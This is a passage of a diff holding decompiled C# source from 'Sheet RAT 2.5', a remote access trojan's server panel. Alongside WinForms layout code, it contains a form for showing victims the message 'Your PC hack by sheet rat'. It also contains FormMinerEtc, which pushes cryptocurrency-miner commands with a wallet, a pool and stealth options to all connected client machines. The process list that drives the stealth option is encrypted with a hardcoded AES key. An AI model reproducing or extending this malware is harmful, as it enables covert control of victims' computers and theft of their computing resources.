this.MessageBox_Handle.CustomButton.Style = MetroColorStyle.Blue;
|
||||
this.MessageBox_Handle.CustomButton.TabIndex = 1;
|
||||
this.MessageBox_Handle.CustomButton.Theme = MetroThemeStyle.Light;
|
||||
this.MessageBox_Handle.CustomButton.UseSelectable = true;
|
||||
this.MessageBox_Handle.CustomButton.Visible = false;
|
||||
this.MessageBox_Handle.Lines = new string[1]{ "Error" };
|
||||
this.MessageBox_Handle.Location = new Point(66, 126);
|
||||
this.MessageBox_Handle.MaxLength = (int) short.MaxValue;
|
||||
this.MessageBox_Handle.Name = "MessageBox_Handle";
|
||||
this.MessageBox_Handle.PasswordChar = char.MinValue;
|
||||
this.MessageBox_Handle.ScrollBars = ScrollBars.None;
|
||||
this.MessageBox_Handle.SelectedText = "";
|
||||
this.MessageBox_Handle.SelectionLength = 0;
|
||||
this.MessageBox_Handle.SelectionStart = 0;
|
||||
this.MessageBox_Handle.ShortcutsEnabled = true;
|
||||
this.MessageBox_Handle.Size = new Size(236, 23);
|
||||
this.MessageBox_Handle.Style = MetroColorStyle.Lime;
|
||||
this.MessageBox_Handle.TabIndex = 41;
|
||||
this.MessageBox_Handle.Text = "Error";
|
||||
this.MessageBox_Handle.Theme = MetroThemeStyle.Dark;
|
||||
this.MessageBox_Handle.UseSelectable = true;
|
||||
this.MessageBox_Handle.UseStyleColors = true;
|
||||
this.MessageBox_Handle.WaterMarkColor = Color.FromArgb(109, 109, 109);
|
||||
this.MessageBox_Handle.WaterMarkFont = new Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel);
|
||||
this.metroLabel3.AutoSize = true;
|
||||
this.metroLabel3.Location = new Point(3, 87);
|
||||
this.metroLabel3.Name = "metroLabel3";
|
||||
this.metroLabel3.Size = new Size(33, 19);
|
||||
this.metroLabel3.Style = MetroColorStyle.Lime;
|
||||
this.metroLabel3.TabIndex = 40;
|
||||
this.metroLabel3.Text = "Icon";
|
||||
this.metroLabel3.Theme = MetroThemeStyle.Dark;
|
||||
this.metroLabel3.UseStyleColors = true;
|
||||
this.metroLabel2.AutoSize = true;
|
||||
this.metroLabel2.Location = new Point(3, 40);
|
||||
this.metroLabel2.Name = "metroLabel2";
|
||||
this.metroLabel2.Size = new Size(47, 19);
|
||||
this.metroLabel2.Style = MetroColorStyle.Lime;
|
||||
this.metroLabel2.TabIndex = 39;
|
||||
this.metroLabel2.Text = "Button";
|
||||
this.metroLabel2.Theme = MetroThemeStyle.Dark;
|
||||
this.metroLabel2.UseStyleColors = true;
|
||||
this.MessageBox_Button.FontSize = MetroComboBoxSize.Small;
|
||||
this.MessageBox_Button.FormattingEnabled = true;
|
||||
this.MessageBox_Button.ItemHeight = 19;
|
||||
this.MessageBox_Button.Items.AddRange(new object[6]
|
||||
{
|
||||
(object) "OK",
|
||||
(object) "OKCancel",
|
||||
(object) "AbortRetryIgnore",
|
||||
(object) "YesNoCancel",
|
||||
(object) "YesNo",
|
||||
(object) "RetryCancel"
|
||||
});
|
||||
this.MessageBox_Button.Location = new Point(66, 40);
|
||||
this.MessageBox_Button.Margin = new Padding(2);
|
||||
this.MessageBox_Button.Name = "MessageBox_Button";
|
||||
this.MessageBox_Button.Size = new Size(236, 25);
|
||||
this.MessageBox_Button.Style = MetroColorStyle.Lime;
|
||||
this.MessageBox_Button.TabIndex = 37;
|
||||
this.MessageBox_Button.Theme = MetroThemeStyle.Dark;
|
||||
this.MessageBox_Button.UseSelectable = true;
|
||||
this.MessageBox_Button.UseStyleColors = true;
|
||||
this.panel2.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle;
|
||||
this.panel2.Controls.Add((Control) this.metroLabel7);
|
||||
this.panel2.Controls.Add((Control) this.metroToggle1);
|
||||
this.panel2.Controls.Add((Control) this.metroButton1);
|
||||
this.panel2.Controls.Add((Control) this.metroLabel8);
|
||||
this.panel2.Controls.Add((Control) this.metroTextBox1);
|
||||
this.panel2.Controls.Add((Control) this.metroLabel9);
|
||||
this.panel2.Controls.Add((Control) this.metroTextBox2);
|
||||
this.panel2.Controls.Add((Control) this.metroLabel10);
|
||||
this.panel2.Controls.Add((Control) this.metroLabel11);
|
||||
this.panel2.Controls.Add((Control) this.metroLabel12);
|
||||
this.panel2.Controls.Add((Control) this.metroComboBox1);
|
||||
this.panel2.Controls.Add((Control) this.metroComboBox2);
|
||||
this.panel2.Location = new Point(468, 87);
|
||||
this.panel2.Name = "panel2";
|
||||
this.panel2.Size = new Size(416, 260);
|
||||
this.panel2.TabIndex = 48 /*0x30*/;
|
||||
this.panel2.Visible = false;
|
||||
this.metroLabel7.AutoSize = true;
|
||||
this.metroLabel7.Location = new Point(313, 183);
|
||||
this.metroLabel7.Name = "metroLabel7";
|
||||
this.metroLabel7.Size = new Size(43, 19);
|
||||
this.metroLabel7.Style = MetroColorStyle.Lime;
|
||||
this.metroLabel7.TabIndex = 47;
|
||||
this.metroLabel7.Text = "Spam";
|
||||
this.metroLabel7.Theme = MetroThemeStyle.Dark;
|
||||
this.metroLabel7.UseStyleColors = true;
|
||||
this.metroToggle1.AutoSize = true;
|
||||
this.metroToggle1.Location = new Point(313, 216);
|
||||
this.metroToggle1.Name = "metroToggle1";
|
||||
this.metroToggle1.Size = new Size(80 /*0x50*/, 17);
|
||||
this.metroToggle1.Style = MetroColorStyle.Lime;
|
||||
this.metroToggle1.TabIndex = 46;
|
||||
this.metroToggle1.Text = "Off";
|
||||
this.metroToggle1.Theme = MetroThemeStyle.Dark;
|
||||
this.metroToggle1.UseSelectable = true;
|
||||
this.metroToggle1.UseStyleColors = true;
|
||||
this.metroButton1.Location = new Point(66, 210);
|
||||
this.metroButton1.Name = "metroButton1";
|
||||
this.metroButton1.Size = new Size(105, 23);
|
||||
this.metroButton1.Style = MetroColorStyle.Lime;
|
||||
this.metroButton1.TabIndex = 45;
|
||||
this.metroButton1.Text = "Send";
|
||||
this.metroButton1.Theme = MetroThemeStyle.Dark;
|
||||
this.metroButton1.UseSelectable = true;
|
||||
this.metroButton1.UseStyleColors = true;
|
||||
this.metroLabel8.AutoSize = true;
|
||||
this.metroLabel8.Location = new Point(3, 169);
|
||||
this.metroLabel8.Name = "metroLabel8";
|
||||
this.metroLabel8.Size = new Size(60, 19);
|
||||
this.metroLabel8.Style = MetroColorStyle.Lime;
|
||||
this.metroLabel8.TabIndex = 44;
|
||||
this.metroLabel8.Text = "Message";
|
||||
this.metroLabel8.Theme = MetroThemeStyle.Dark;
|
||||
this.metroLabel8.UseStyleColors = true;
|
||||
this.metroTextBox1.CustomButton.Image = (Image) null;
|
||||
this.metroTextBox1.CustomButton.Location = new Point(214, 1);
|
||||
this.metroTextBox1.CustomButton.Name = "";
|
||||
this.metroTextBox1.CustomButton.Size = new Size(21, 21);
|
||||
this.metroTextBox1.CustomButton.Style = MetroColorStyle.Blue;
|
||||
this.metroTextBox1.CustomButton.TabIndex = 1;
|
||||
this.metroTextBox1.CustomButton.Theme = MetroThemeStyle.Light;
|
||||
this.metroTextBox1.CustomButton.UseSelectable = true;
|
||||
this.metroTextBox1.CustomButton.Visible = false;
|
||||
this.metroTextBox1.Lines = new string[1]
|
||||
{
|
||||
"Your PC hack by sheet rat"
|
||||
};
|
||||
this.metroTextBox1.Location = new Point(66, 165);
|
||||
this.metroTextBox1.MaxLength = (int) short.MaxValue;
|
||||
this.metroTextBox1.Name = "metroTextBox1";
|
||||
this.metroTextBox1.PasswordChar = char.MinValue;
|
||||
this.metroTextBox1.ScrollBars = ScrollBars.None;
|
||||
this.metroTextBox1.SelectedText = "";
|
||||
this.metroTextBox1.SelectionLength = 0;
|
||||
this.metroTextBox1.SelectionStart = 0;
|
||||
this.metroTextBox1.ShortcutsEnabled = true;
|
||||
this.metroTextBox1.Size = new Size(236, 23);
|
||||
this.metroTextBox1.Style = MetroColorStyle.Lime;
|
||||
this.metroTextBox1.TabIndex = 43;
|
||||
this.metroTextBox1.Text = "Your PC hack by sheet rat";
|
||||
this.metroTextBox1.Theme = MetroThemeStyle.Dark;
|
||||
this.metroTextBox1.UseSelectable = true;
|
||||
this.metroTextBox1.UseStyleColors = true;
|
||||
this.metroTextBox1.WaterMarkColor = Color.FromArgb(109, 109, 109);
|
||||
this.metroTextBox1.WaterMarkFont = new Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel);
|
||||
this.metroLabel9.AutoSize = true;
|
||||
this.metroLabel9.Location = new Point(3, 130);
|
||||
this.metroLabel9.Name = "metroLabel9";
|
||||
this.metroLabel9.Size = new Size(50, 19);
|
||||
this.metroLabel9.Style = MetroColorStyle.Lime;
|
||||
this.metroLabel9.TabIndex = 42;
|
||||
this.metroLabel9.Text = "Handle";
|
||||
this.metroLabel9.Theme = MetroThemeStyle.Dark;
|
||||
this.metroLabel9.UseStyleColors = true;
|
||||
this.metroTextBox2.CustomButton.Image = (Image) null;
|
||||
this.metroTextBox2.CustomButton.Location = new Point(214, 1);
|
||||
this.metroTextBox2.CustomButton.Name = "";
|
||||
this.metroTextBox2.CustomButton.Size = new Size(21, 21);
|
||||
this.metroTextBox2.CustomButton.Style = MetroColorStyle.Blue;
|
||||
this.metroTextBox2.CustomButton.TabIndex = 1;
|
||||
this.metroTextBox2.CustomButton.Theme = MetroThemeStyle.Light;
|
||||
this.metroTextBox2.CustomButton.UseSelectable = true;
|
||||
this.metroTextBox2.CustomButton.Visible = false;
|
||||
this.metroTextBox2.Lines = new string[1]{ "Error" };
|
||||
this.metroTextBox2.Location = new Point(66, 126);
|
||||
this.metroTextBox2.MaxLength = (int) short.MaxValue;
|
||||
this.metroTextBox2.Name = "metroTextBox2";
|
||||
this.metroTextBox2.PasswordChar = char.MinValue;
|
||||
this.metroTextBox2.ScrollBars = ScrollBars.None;
|
||||
this.metroTextBox2.SelectedText = "";
|
||||
this.metroTextBox2.SelectionLength = 0;
|
||||
this.metroTextBox2.SelectionStart = 0;
|
||||
this.metroTextBox2.ShortcutsEnabled = true;
|
||||
this.metroTextBox2.Size = new Size(236, 23);
|
||||
this.metroTextBox2.Style = MetroColorStyle.Lime;
|
||||
this.metroTextBox2.TabIndex = 41;
|
||||
this.metroTextBox2.Text = "Error";
|
||||
this.metroTextBox2.Theme = MetroThemeStyle.Dark;
|
||||
this.metroTextBox2.UseSelectable = true;
|
||||
this.metroTextBox2.UseStyleColors = true;
|
||||
this.metroTextBox2.WaterMarkColor = Color.FromArgb(109, 109, 109);
|
||||
this.metroTextBox2.WaterMarkFont = new Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel);
|
||||
this.metroLabel10.AutoSize = true;
|
||||
this.metroLabel10.Location = new Point(3, 87);
|
||||
this.metroLabel10.Name = "metroLabel10";
|
||||
this.metroLabel10.Size = new Size(33, 19);
|
||||
this.metroLabel10.Style = MetroColorStyle.Lime;
|
||||
this.metroLabel10.TabIndex = 40;
|
||||
this.metroLabel10.Text = "Icon";
|
||||
this.metroLabel10.Theme = MetroThemeStyle.Dark;
|
||||
this.metroLabel10.UseStyleColors = true;
|
||||
this.metroLabel11.AutoSize = true;
|
||||
this.metroLabel11.Location = new Point(3, 40);
|
||||
this.metroLabel11.Name = "metroLabel11";
|
||||
this.metroLabel11.Size = new Size(47, 19);
|
||||
this.metroLabel11.Style = MetroColorStyle.Lime;
|
||||
this.metroLabel11.TabIndex = 39;
|
||||
this.metroLabel11.Text = "Button";
|
||||
this.metroLabel11.Theme = MetroThemeStyle.Dark;
|
||||
this.metroLabel11.UseStyleColors = true;
|
||||
this.metroLabel12.AutoSize = true;
|
||||
this.metroLabel12.Location = new Point(3, 5);
|
||||
this.metroLabel12.Name = "metroLabel12";
|
||||
this.metroLabel12.Size = new Size(104, 19);
|
||||
this.metroLabel12.Style = MetroColorStyle.Lime;
|
||||
this.metroLabel12.TabIndex = 38;
|
||||
this.metroLabel12.Text = "Notification Icon";
|
||||
this.metroLabel12.Theme = MetroThemeStyle.Dark;
|
||||
this.metroLabel12.UseStyleColors = true;
|
||||
this.metroComboBox1.FontSize = MetroComboBoxSize.Small;
|
||||
this.metroComboBox1.FormattingEnabled = true;
|
||||
this.metroComboBox1.ItemHeight = 19;
|
||||
this.metroComboBox1.Location = new Point(66, 81);
|
||||
this.metroComboBox1.Margin = new Padding(2);
|
||||
this.metroComboBox1.Name = "metroComboBox1";
|
||||
this.metroComboBox1.Size = new Size(236, 25);
|
||||
this.metroComboBox1.Style = MetroColorStyle.Lime;
|
||||
this.metroComboBox1.TabIndex = 37;
|
||||
this.metroComboBox1.Theme = MetroThemeStyle.Dark;
|
||||
this.metroComboBox1.UseSelectable = true;
|
||||
this.metroComboBox1.UseStyleColors = true;
|
||||
this.metroComboBox2.FontSize = MetroComboBoxSize.Small;
|
||||
this.metroComboBox2.FormattingEnabled = true;
|
||||
this.metroComboBox2.ItemHeight = 19;
|
||||
this.metroComboBox2.Location = new Point(66, 40);
|
||||
this.metroComboBox2.Margin = new Padding(2);
|
||||
this.metroComboBox2.Name = "metroComboBox2";
|
||||
this.metroComboBox2.Size = new Size(236, 25);
|
||||
this.metroComboBox2.Style = MetroColorStyle.Lime;
|
||||
this.metroComboBox2.TabIndex = 37;
|
||||
this.metroComboBox2.Theme = MetroThemeStyle.Dark;
|
||||
this.metroComboBox2.UseSelectable = true;
|
||||
this.metroComboBox2.UseStyleColors = true;
|
||||
this.timer1.Interval = 5000;
|
||||
this.timer1.Tick += new EventHandler(this.timer1_Tick);
|
||||
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(470, 379);
|
||||
this.Controls.Add((Control) this.panel2);
|
||||
this.Controls.Add((Control) this.panel1);
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.Name = nameof (FormMessage);
|
||||
this.Style = MetroColorStyle.Lime;
|
||||
this.Text = "Message";
|
||||
this.Theme = MetroThemeStyle.Dark;
|
||||
this.Load += new EventHandler(this.FormMessageBox_Load);
|
||||
this.panel1.ResumeLayout(false);
|
||||
this.panel1.PerformLayout();
|
||||
this.panel2.ResumeLayout(false);
|
||||
this.panel2.PerformLayout();
|
||||
this.ResumeLayout(false);
|
||||
}
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,542 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Server.Forms.FormMinerEtc
|
||||
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
|
||||
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
|
||||
|
||||
using MetroFramework;
|
||||
using MetroFramework.Controls;
|
||||
using MetroFramework.Forms;
|
||||
using Server.Connection;
|
||||
using Server.Helper;
|
||||
using Server.Helper.Configs.Themes;
|
||||
using System;
|
||||
using System.Windows.Forms;
|
||||
using System.Collections;
|
||||
using System.Collections.Generic;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using System.Security.Cryptography;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
using System.Windows.Forms;
|
||||
|
||||
//#nullable disable
|
||||
namespace Server.Forms {
|
||||
|
||||
public class FormMinerEtc : MetroForm
|
||||
{
|
||||
public string args;
|
||||
public bool work;
|
||||
private IContainer components;
|
||||
private MetroLabel metroLabel1;
|
||||
private MetroLabel metroLabel2;
|
||||
private MetroCheckBox AntiProcessCheck;
|
||||
private NumericUpDown numGpu;
|
||||
private MetroLabel metroLabel3;
|
||||
public MetroButton Start;
|
||||
public MetroButton metroButton1;
|
||||
private MetroTextBox Wallet;
|
||||
private MetroTextBox Pool;
|
||||
private MetroTextBox AntiProcess;
|
||||
private Timer TimeOut;
|
||||
private MetroContextMenu metroContextMenu1;
|
||||
private ToolStripMenuItem kickToolStripMenuItem;
|
||||
public DataGridView Grid1;
|
||||
private Timer Checker;
|
||||
|
||||
public Clients[] ClientsSelected()
|
||||
{
|
||||
List<Clients> clientsList = new List<Clients>();
|
||||
foreach (DataGridViewRow selectedRow in (BaseCollection) this.Grid1.SelectedRows)
|
||||
clientsList.Add((Clients) selectedRow.Tag);
|
||||
return clientsList.ToArray();
|
||||
}
|
||||
|
||||
public Clients[] ClientsAll()
|
||||
{
|
||||
List<Clients> clientsList = new List<Clients>();
|
||||
foreach (DataGridViewRow row in (IEnumerable) this.Grid1.Rows)
|
||||
clientsList.Add((Clients) row.Tag);
|
||||
return clientsList.ToArray();
|
||||
}
|
||||
|
||||
private void FormEtc_FormClosing(object sender, FormClosingEventArgs e)
|
||||
{
|
||||
this.Hide();
|
||||
e.Cancel = true;
|
||||
}
|
||||
|
||||
public FormMinerEtc() => this.InitializeComponent();
|
||||
|
||||
private void FormMinerEtc_Load(object sender, EventArgs e)
|
||||
{
|
||||
DataGridViewColumnCollection columns1 = this.Grid1.Columns;
|
||||
DataGridViewTextBoxColumn viewTextBoxColumn1 = new DataGridViewTextBoxColumn();
|
||||
viewTextBoxColumn1.AutoSizeMode = DataGridViewAutoSizeColumnMode.None;
|
||||
viewTextBoxColumn1.HeaderText = "IP";
|
||||
viewTextBoxColumn1.MinimumWidth = 150;
|
||||
columns1.Add((DataGridViewColumn) viewTextBoxColumn1);
|
||||
DataGridViewColumnCollection columns2 = this.Grid1.Columns;
|
||||
DataGridViewTextBoxColumn viewTextBoxColumn2 = new DataGridViewTextBoxColumn();
|
||||
viewTextBoxColumn2.AutoSizeMode = DataGridViewAutoSizeColumnMode.None;
|
||||
viewTextBoxColumn2.HeaderText = "ID";
|
||||
viewTextBoxColumn2.MinimumWidth = 150;
|
||||
columns2.Add((DataGridViewColumn) viewTextBoxColumn2);
|
||||
DataGridViewColumnCollection columns3 = this.Grid1.Columns;
|
||||
DataGridViewTextBoxColumn viewTextBoxColumn3 = new DataGridViewTextBoxColumn();
|
||||
viewTextBoxColumn3.AutoSizeMode = DataGridViewAutoSizeColumnMode.None;
|
||||
viewTextBoxColumn3.HeaderText = "GPU RAM";
|
||||
viewTextBoxColumn3.MinimumWidth = 200;
|
||||
columns3.Add((DataGridViewColumn) viewTextBoxColumn3);
|
||||
DataGridViewColumnCollection columns4 = this.Grid1.Columns;
|
||||
DataGridViewTextBoxColumn viewTextBoxColumn4 = new DataGridViewTextBoxColumn();
|
||||
viewTextBoxColumn4.AutoSizeMode = DataGridViewAutoSizeColumnMode.Fill;
|
||||
viewTextBoxColumn4.HeaderText = "GPU";
|
||||
viewTextBoxColumn4.MinimumWidth = 30;
|
||||
columns4.Add((DataGridViewColumn) viewTextBoxColumn4);
|
||||
this.FormClosing += (FormClosingEventHandler) ((t, p) =>
|
||||
{
|
||||
foreach (Clients clients in this.ClientsAll())
|
||||
clients.Disconnected("Stop");
|
||||
Program.form.MinerActive = false;
|
||||
this.Start.Text = "Start";
|
||||
p.Cancel = true;
|
||||
this.Hide();
|
||||
this.Refresh();
|
||||
});
|
||||
DataGridViewCellStyle gridViewCellStyle = new DataGridViewCellStyle();
|
||||
gridViewCellStyle.Alignment = DataGridViewContentAlignment.MiddleLeft;
|
||||
gridViewCellStyle.ForeColor = Customs.customs.StyleToColor();
|
||||
gridViewCellStyle.Font = new Font("Segoe UI", 11f, FontStyle.Regular, GraphicsUnit.Pixel);
|
||||
gridViewCellStyle.BackColor = Customs.customs.Theme == MetroThemeStyle.Dark ? Color.FromArgb(17, 17, 17) : Color.White;
|
||||
gridViewCellStyle.SelectionForeColor = Customs.customs.Theme == MetroThemeStyle.Dark ? Color.FromArgb(17, 17, 17) : Color.White;
|
||||
gridViewCellStyle.SelectionBackColor = Customs.customs.StyleToColor();
|
||||
gridViewCellStyle.WrapMode = DataGridViewTriState.False;
|
||||
this.Grid1.DefaultCellStyle = gridViewCellStyle;
|
||||
this.Grid1.ColumnHeadersDefaultCellStyle = gridViewCellStyle;
|
||||
this.Grid1.RowTemplate.Resizable = DataGridViewTriState.True;
|
||||
this.Grid1.RowTemplate.MinimumHeight = 30;
|
||||
if (Customs.customs.Theme != MetroThemeStyle.Dark)
|
||||
{
|
||||
this.Theme = Customs.customs.Theme;
|
||||
this.Wallet.Theme = Customs.customs.Theme;
|
||||
this.Pool.Theme = Customs.customs.Theme;
|
||||
this.AntiProcess.Theme = Customs.customs.Theme;
|
||||
this.metroLabel1.Theme = Customs.customs.Theme;
|
||||
this.metroLabel2.Theme = Customs.customs.Theme;
|
||||
this.metroLabel3.Theme = Customs.customs.Theme;
|
||||
this.metroButton1.Theme = Customs.customs.Theme;
|
||||
this.Start.Theme = Customs.customs.Theme;
|
||||
this.AntiProcessCheck.Theme = Customs.customs.Theme;
|
||||
this.Grid1.BackgroundColor = Customs.customs.ThemeToColor();
|
||||
this.numGpu.BackColor = Customs.customs.ThemeToColor();
|
||||
}
|
||||
if (Customs.customs.Style == MetroColorStyle.Lime)
|
||||
return;
|
||||
this.Style = Customs.customs.Style;
|
||||
this.Wallet.Style = Customs.customs.Style;
|
||||
this.Pool.Style = Customs.customs.Style;
|
||||
this.AntiProcess.Style = Customs.customs.Style;
|
||||
this.metroLabel1.Style = Customs.customs.Style;
|
||||
this.metroLabel2.Style = Customs.customs.Style;
|
||||
this.metroLabel3.Style = Customs.customs.Style;
|
||||
this.metroButton1.Style = Customs.customs.Style;
|
||||
this.Start.Style = Customs.customs.Style;
|
||||
this.AntiProcessCheck.Style = Customs.customs.Style;
|
||||
this.numGpu.ForeColor = Customs.customs.StyleToColor();
|
||||
}
|
||||
|
||||
public string Unamlib_Encrypt(string plainText)
|
||||
{
|
||||
byte[] bytes1 = Encoding.UTF8.GetBytes(plainText);
|
||||
byte[] bytes2 = Encoding.ASCII.GetBytes("UXUUXUUXUUCommandULineUUXUUXUUXU");
|
||||
byte[] bytes3 = Encoding.ASCII.GetBytes("UUCommandULineUU");
|
||||
RijndaelManaged rijndaelManaged = new RijndaelManaged();
|
||||
rijndaelManaged.Mode = CipherMode.CBC;
|
||||
rijndaelManaged.Padding = PaddingMode.Zeros;
|
||||
rijndaelManaged.BlockSize = 128 /*0x80*/;
|
||||
rijndaelManaged.KeySize = 256 /*0x0100*/;
|
||||
ICryptoTransform encryptor = rijndaelManaged.CreateEncryptor(bytes2, bytes3);
|
||||
byte[] array;
|
||||
using (MemoryStream memoryStream = new MemoryStream())
|
||||
{
|
||||
using (CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, encryptor, CryptoStreamMode.Write))
|
||||
{
|
||||
cryptoStream.Write(bytes1, 0, bytes1.Length);
|
||||
cryptoStream.FlushFinalBlock();
|
||||
array = memoryStream.ToArray();
|
||||
cryptoStream.Close();
|
||||
}
|
||||
memoryStream.Close();
|
||||
}
|
||||
return Convert.ToBase64String(array);
|
||||
}
|
||||
|
||||
private void metroButton1_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (this.Start.Text == "Start")
|
||||
{
|
||||
if (this.AntiProcessCheck.Checked)
|
||||
this.args = $"--cinit-find-e --pool=stratum://`{this.Wallet.Text}`.worker@{this.Pool.Text} --cinit-max-gpu={this.numGpu.Value.ToString()} --response-timeout=300 --farm-retries=30 --cinit-stealth-targets=\"{this.Unamlib_Encrypt(this.AntiProcess.Text)}\" --cinit-stealth --cinit-etc";
|
||||
else
|
||||
this.args = $"--cinit-find-e --pool=stratum://`{this.Wallet.Text}`.worker@{this.Pool.Text} --cinit-max-gpu={this.numGpu.Value.ToString()} --response-timeout=300 --farm-retries=30 --cinit-etc";
|
||||
foreach (Clients clients in this.ClientsAll())
|
||||
clients.Send((object) ("Start<@>" + this.args));
|
||||
this.Start.Text = "Stop";
|
||||
}
|
||||
else
|
||||
{
|
||||
foreach (Clients clients in this.ClientsAll())
|
||||
clients.Send((object) "Stop");
|
||||
this.Start.Text = "Start";
|
||||
}
|
||||
}
|
||||
|
||||
private void metroButton1_Click_1(object sender, EventArgs e)
|
||||
{
|
||||
this.Hide();
|
||||
this.Refresh();
|
||||
}
|
||||
|
||||
private void TimeOut_Tick(object sender, EventArgs e)
|
||||
{
|
||||
Clients[] allClients = this.ClientsAll();
|
||||
if (allClients.Length == 0)
|
||||
return;
|
||||
Task.Run((Action) (() =>
|
||||
{
|
||||
foreach (Clients clients in allClients)
|
||||
{
|
||||
if (Methods.DiffSeconds(clients.LastPiy, DateTime.Now) > 60.0)
|
||||
clients.Disconnected("TimeOut");
|
||||
}
|
||||
}));
|
||||
}
|
||||
|
||||
private void kickToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
foreach (Clients clients in this.ClientsSelected())
|
||||
clients.Disconnected("Kick");
|
||||
}
|
||||
|
||||
private void Checker_Tick(object sender, EventArgs e)
|
||||
{
|
||||
this.Text = $"Miner Etc Miners [{this.Grid1.RowCount}] Selected[{this.Grid1.SelectedRows.Count}]";
|
||||
this.Refresh();
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
DataGridViewCellStyle gridViewCellStyle1 = new DataGridViewCellStyle();
|
||||
DataGridViewCellStyle gridViewCellStyle2 = new DataGridViewCellStyle();
|
||||
DataGridViewCellStyle gridViewCellStyle3 = new DataGridViewCellStyle();
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (FormMinerEtc));
|
||||
this.metroLabel1 = new MetroLabel();
|
||||
this.metroLabel2 = new MetroLabel();
|
||||
this.Start = new MetroButton();
|
||||
this.AntiProcessCheck = new MetroCheckBox();
|
||||
this.numGpu = new NumericUpDown();
|
||||
this.metroLabel3 = new MetroLabel();
|
||||
this.metroButton1 = new MetroButton();
|
||||
this.metroContextMenu1 = new MetroContextMenu(this.components);
|
||||
this.kickToolStripMenuItem = new ToolStripMenuItem();
|
||||
this.Wallet = new MetroTextBox();
|
||||
this.Pool = new MetroTextBox();
|
||||
this.AntiProcess = new MetroTextBox();
|
||||
this.TimeOut = new Timer(this.components);
|
||||
this.Grid1 = new DataGridView();
|
||||
this.Checker = new Timer(this.components);
|
||||
this.numGpu.BeginInit();
|
||||
this.metroContextMenu1.SuspendLayout();
|
||||
((ISupportInitialize) this.Grid1).BeginInit();
|
||||
this.SuspendLayout();
|
||||
this.metroLabel1.AutoSize = true;
|
||||
this.metroLabel1.Location = new Point(34, 58);
|
||||
this.metroLabel1.Margin = new Padding(2, 0, 2, 0);
|
||||
this.metroLabel1.Name = "metroLabel1";
|
||||
this.metroLabel1.Size = new Size(88, 19);
|
||||
this.metroLabel1.Style = MetroColorStyle.Green;
|
||||
this.metroLabel1.TabIndex = 1;
|
||||
this.metroLabel1.Text = "Wallet Adress";
|
||||
this.metroLabel1.Theme = MetroThemeStyle.Dark;
|
||||
this.metroLabel1.UseStyleColors = true;
|
||||
this.metroLabel2.AutoSize = true;
|
||||
this.metroLabel2.Location = new Point(34, 113);
|
||||
this.metroLabel2.Margin = new Padding(2, 0, 2, 0);
|
||||
this.metroLabel2.Name = "metroLabel2";
|
||||
this.metroLabel2.Size = new Size(35, 19);
|
||||
this.metroLabel2.Style = MetroColorStyle.Green;
|
||||
this.metroLabel2.TabIndex = 3;
|
||||
this.metroLabel2.Text = "Pool";
|
||||
this.metroLabel2.Theme = MetroThemeStyle.Dark;
|
||||
this.metroLabel2.UseStyleColors = true;
|
||||
this.Start.Anchor = AnchorStyles.Top | AnchorStyles.Right;
|
||||
this.Start.Location = new Point(793, 112 /*0x70*/);
|
||||
this.Start.Margin = new Padding(2);
|
||||
this.Start.Name = "Start";
|
||||
this.Start.Size = new Size(79, 20);
|
||||
this.Start.Style = MetroColorStyle.Green;
|
||||
this.Start.TabIndex = 4;
|
||||
this.Start.Text = "Start";
|
||||
this.Start.Theme = MetroThemeStyle.Dark;
|
||||
this.Start.UseSelectable = true;
|
||||
this.Start.UseStyleColors = true;
|
||||
this.Start.Click += new EventHandler(this.metroButton1_Click);
|
||||
this.AntiProcessCheck.AutoSize = true;
|
||||
this.AntiProcessCheck.Checked = true;
|
||||
this.AntiProcessCheck.CheckState = CheckState.Checked;
|
||||
this.AntiProcessCheck.Location = new Point(35, 162);
|
||||
this.AntiProcessCheck.Margin = new Padding(2);
|
||||
this.AntiProcessCheck.Name = "AntiProcessCheck";
|
||||
this.AntiProcessCheck.Size = new Size(85, 15);
|
||||
this.AntiProcessCheck.Style = MetroColorStyle.Green;
|
||||
this.AntiProcessCheck.TabIndex = 8;
|
||||
this.AntiProcessCheck.Text = "AntiProcess";
|
||||
this.AntiProcessCheck.Theme = MetroThemeStyle.Dark;
|
||||
this.AntiProcessCheck.UseSelectable = true;
|
||||
this.AntiProcessCheck.UseStyleColors = true;
|
||||
this.numGpu.BackColor = Color.Black;
|
||||
this.numGpu.ForeColor = Color.SpringGreen;
|
||||
this.numGpu.Location = new Point(502, 181);
|
||||
this.numGpu.Margin = new Padding(2);
|
||||
this.numGpu.Minimum = new Decimal(new int[4]
|
||||
{
|
||||
10,
|
||||
0,
|
||||
0,
|
||||
0
|
||||
});
|
||||
this.numGpu.Name = "numGpu";
|
||||
this.numGpu.Size = new Size(56, 20);
|
||||
this.numGpu.TabIndex = 202;
|
||||
this.numGpu.Value = new Decimal(new int[4]
|
||||
{
|
||||
100,
|
||||
0,
|
||||
0,
|
||||
0
|
||||
});
|
||||
this.metroLabel3.AutoSize = true;
|
||||
this.metroLabel3.Location = new Point(442, 184);
|
||||
this.metroLabel3.Margin = new Padding(2, 0, 2, 0);
|
||||
this.metroLabel3.Name = "metroLabel3";
|
||||
